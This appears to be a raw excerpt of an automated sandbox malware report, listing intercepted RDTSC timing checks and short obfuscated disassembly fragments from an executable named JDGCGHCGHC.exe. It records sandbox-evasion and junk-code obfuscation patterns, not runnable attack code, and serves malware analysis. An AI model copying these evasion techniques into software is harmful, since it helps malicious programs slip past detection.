Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 3DF74E second address: 3DF753 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 3DF753 second address: 3DF759 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 3DF759 second address: 3DF7AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 add dword ptr [esp], 762A0B71h 0x0000000e push 00000000h 0x00000010 push ebp 0x00000011 call 00007F3EDD0B9248h 0x00000016 pop ebp 0x00000017 mov dword ptr [esp+04h], ebp 0x0000001b add dword ptr [esp+04h], 00000014h 0x00000023 inc ebp 0x00000024 push ebp 0x00000025 ret 0x00000026 pop ebp 0x00000027 ret 0x00000028 or cx, C8A2h 0x0000002d lea ebx, dword ptr [ebp+124543E2h] 0x00000033 jmp 00007F3EDD0B924Dh 0x00000038 push eax 0x00000039 pushad 0x0000003a je 00007F3EDD0B924Ch 0x00000040 jp 00007F3EDD0B9246h 0x00000046 pushad 0x00000047 pushad 0x00000048 popad 0x00000049 push eax 0x0000004a push edx 0x0000004b rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 3DF7F2 second address: 3DF7F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 3DF7F6 second address: 3DF84D instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F3EDD0B9246h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e mov si, 6152h 0x00000012 push 00000000h 0x00000014 mov dword ptr [ebp+122D31DCh], edx 0x0000001a call 00007F3EDD0B9249h 0x0000001f push esi 0x00000020 jmp 00007F3EDD0B9251h 0x00000025 pop esi 0x00000026 push eax 0x00000027 push eax 0x00000028 push edx 0x00000029 jne 00007F3EDD0B925Eh 0x0000002f rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 3DF84D second address: 3DF853 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 3DF853 second address: 3DF857 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 3DF857 second address: 3DF894 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007F3EDCBDB9B5h 0x00000015 popad 0x00000016 pop edx 0x00000017 mov eax, dword ptr [eax] 0x00000019 push ecx 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F3EDCBDB9B1h 0x00000021 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 3DF894 second address: 3DF8A3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b pushad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 3DF8A3 second address: 3DF8C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F3EDCBDB9B7h 0x0000000e rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 3DF8C3 second address: 3DF976 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F3EDD0B9246h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b pop eax 0x0000000c push 00000000h 0x0000000e push edi 0x0000000f call 00007F3EDD0B9248h 0x00000014 pop edi 0x00000015 mov dword ptr [esp+04h], edi 0x00000019 add dword ptr [esp+04h], 0000001Ah 0x00000021 inc edi 0x00000022 push edi 0x00000023 ret 0x00000024 pop edi 0x00000025 ret 0x00000026 push 00000003h 0x00000028 mov edx, 07CD0769h 0x0000002d mov dh, 2Bh 0x0000002f push 00000000h 0x00000031 xor edi, dword ptr [ebp+122D3916h] 0x00000037 push 00000003h 0x00000039 or dword ptr [ebp+122D1929h], edx 0x0000003f jp 00007F3EDD0B924Ch 0x00000045 call 00007F3EDD0B9249h 0x0000004a jg 00007F3EDD0B9250h 0x00000050 push eax 0x00000051 jmp 00007F3EDD0B9254h 0x00000056 mov eax, dword ptr [esp+04h] 0x0000005a push esi 0x0000005b jmp 00007F3EDD0B924Bh 0x00000060 pop esi 0x00000061 mov eax, dword ptr [eax] 0x00000063 jmp 00007F3EDD0B9257h 0x00000068 mov dword ptr [esp+04h], eax 0x0000006c push ecx 0x0000006d push ecx 0x0000006e push eax 0x0000006f push edx 0x00000070 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 400933 second address: 400938 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 400938 second address: 400942 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F3EDD0B9246h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 400942 second address: 400946 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 3CA531 second address: 3CA544 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007F3EDD0B924Eh 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 3CA544 second address: 3CA54B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 3FE921 second address: 3FE931 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F3EDD0B9246h 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 3FE931 second address: 3FE935 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 3FE935 second address: 3FE951 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3EDD0B924Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jnl 00007F3EDD0B9246h 0x00000016 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 3FE951 second address: 3FE955 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 3FE955 second address: 3FE966 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F3EDD0B924Bh 0x0000000b rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 3FE966 second address: 3FE96D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 3FEAAA second address: 3FEAC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F3EDD0B9251h 0x0000000c rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 3FEAC2 second address: 3FEACE instructions: 0x00000000 rdtsc 0x00000002 ja 00007F3EDCBDB9A6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 3FEACE second address: 3FEADE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007F3EDD0B924Ah 0x0000000b rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 3FEADE second address: 3FEAE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 3FF1A7 second address: 3FF1B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F3EDD0B9246h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 3FF1B1 second address: 3FF1D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F3EDCBDB9ADh 0x0000000d jmp 00007F3EDCBDB9B3h 0x00000012 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 3FF1D9 second address: 3FF1EE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EDD0B924Bh 0x00000007 jnc 00007F3EDD0B9246h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 3FF1EE second address: 3FF214 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push edx 0x00000004 pop edx 0x00000005 jmp 00007F3EDCBDB9ABh 0x0000000a pop esi 0x0000000b jbe 00007F3EDCBDB9AAh 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 pushad 0x00000018 jl 00007F3EDCBDB9B2h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 3FF214 second address: 3FF21A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 3FF505 second address: 3FF50C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 3FF50C second address: 3FF528 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a jmp 00007F3EDD0B9250h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 3FF528 second address: 3FF536 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 jnl 00007F3EDCBDB9A6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 3FF536 second address: 3FF53B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 3FFAD4 second address: 3FFB10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F3EDCBDB9ADh 0x0000000a popad 0x0000000b pushad 0x0000000c jnc 00007F3EDCBDB9A8h 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F3EDCBDB9B8h 0x00000019 jno 00007F3EDCBDB9A6h 0x0000001f rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 4004E4 second address: 4004E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 4004E9 second address: 400503 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F3EDCBDB9A6h 0x0000000a popad 0x0000000b push ecx 0x0000000c jg 00007F3EDCBDB9A6h 0x00000012 pop ecx 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push edi 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 400503 second address: 400507 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 400507 second address: 40050B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 4039C2 second address: 4039C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 4039C8 second address: 4039CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 403B4C second address: 403B50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 403D8D second address: 403DA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F3EDCBDB9AAh 0x0000000e rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 404DE6 second address: 404E02 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F3EDD0B9257h 0x00000008 jmp 00007F3EDD0B9251h 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 3CDB5E second address: 3CDB62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 3CDB62 second address: 3CDB66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 40CFCB second address: 40CFCF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 40CFCF second address: 40CFE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3EDD0B9254h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 3C1DBA second address: 3C1DE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F3EDCBDB9B7h 0x0000000a pop edi 0x0000000b js 00007F3EDCBDB9CDh 0x00000011 push eax 0x00000012 push edx 0x00000013 push edx 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 40C428 second address: 40C43B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EDD0B924Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 40C43B second address: 40C43F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 40CAF2 second address: 40CB03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jg 00007F3EDD0B9248h 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 40CB03 second address: 40CB09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 40CB09 second address: 40CB1E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EDD0B924Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 40CCA3 second address: 40CCA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 40CCA8 second address: 40CCAE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 40CCAE second address: 40CCB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 40CE19 second address: 40CE1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 40CE1D second address: 40CE21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 40F18E second address: 40F195 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 40F500 second address: 40F514 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3EDCBDB9B0h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 40FAA0 second address: 40FAA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 40FAA4 second address: 40FAD2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F3EDCBDB9ADh 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], ebx 0x0000000e xor edi, dword ptr [ebp+122D2661h] 0x00000014 movsx edi, si 0x00000017 push eax 0x00000018 pushad 0x00000019 jnc 00007F3EDCBDB9A8h 0x0000001f pushad 0x00000020 pushad 0x00000021 popad 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 40FB94 second address: 40FBB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3EDD0B9253h 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 40FD0B second address: 40FD40 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F3EDCBDB9B2h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c pushad 0x0000000d push eax 0x0000000e pop eax 0x0000000f jmp 00007F3EDCBDB9B5h 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 push esi 0x00000018 pop esi 0x00000019 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 40FE61 second address: 40FE65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 40FE65 second address: 40FE6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 40FE6B second address: 40FE71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 40FE71 second address: 40FE75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 4100F5 second address: 4100FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 4100FB second address: 410116 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F3EDCBDB9A8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d mov esi, dword ptr [ebp+122D35FEh] 0x00000013 xchg eax, ebx 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 410116 second address: 41011A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 41011A second address: 410144 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EDCBDB9B6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F3EDCBDB9AEh 0x00000010 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 41070B second address: 410711 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 411138 second address: 411185 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3EDCBDB9AFh 0x00000008 jl 00007F3EDCBDB9A6h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 nop 0x00000012 sub edi, 36B458A0h 0x00000018 push 00000000h 0x0000001a mov esi, dword ptr [ebp+122D28E6h] 0x00000020 push 00000000h 0x00000022 movzx edi, ax 0x00000025 push esi 0x00000026 mov dword ptr [ebp+122D1CCFh], edi 0x0000002c pop edi 0x0000002d push eax 0x0000002e push eax 0x0000002f push edx 0x00000030 jc 00007F3EDCBDB9B3h 0x00000036 jmp 00007F3EDCBDB9ADh 0x0000003b rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 411185 second address: 41118B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 4122D8 second address: 4122DD instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 4138EC second address: 4138F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 414382 second address: 414390 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F3EDCBDB9A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 414390 second address: 414394 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 414394 second address: 4143AA instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F3EDCBDB9A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e js 00007F3EDCBDB9ACh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 4143AA second address: 4143AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 414DBD second address: 414DC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 414DC7 second address: 414DCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 414DCD second address: 414E41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 sub dword ptr [ebp+122D239Fh], edi 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push ecx 0x00000014 call 00007F3EDCBDB9A8h 0x00000019 pop ecx 0x0000001a mov dword ptr [esp+04h], ecx 0x0000001e add dword ptr [esp+04h], 00000018h 0x00000026 inc ecx 0x00000027 push ecx 0x00000028 ret 0x00000029 pop ecx 0x0000002a ret 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push edi 0x00000030 call 00007F3EDCBDB9A8h 0x00000035 pop edi 0x00000036 mov dword ptr [esp+04h], edi 0x0000003a add dword ptr [esp+04h], 0000001Bh 0x00000042 inc edi 0x00000043 push edi 0x00000044 ret 0x00000045 pop edi 0x00000046 ret 0x00000047 jnl 00007F3EDCBDB9ACh 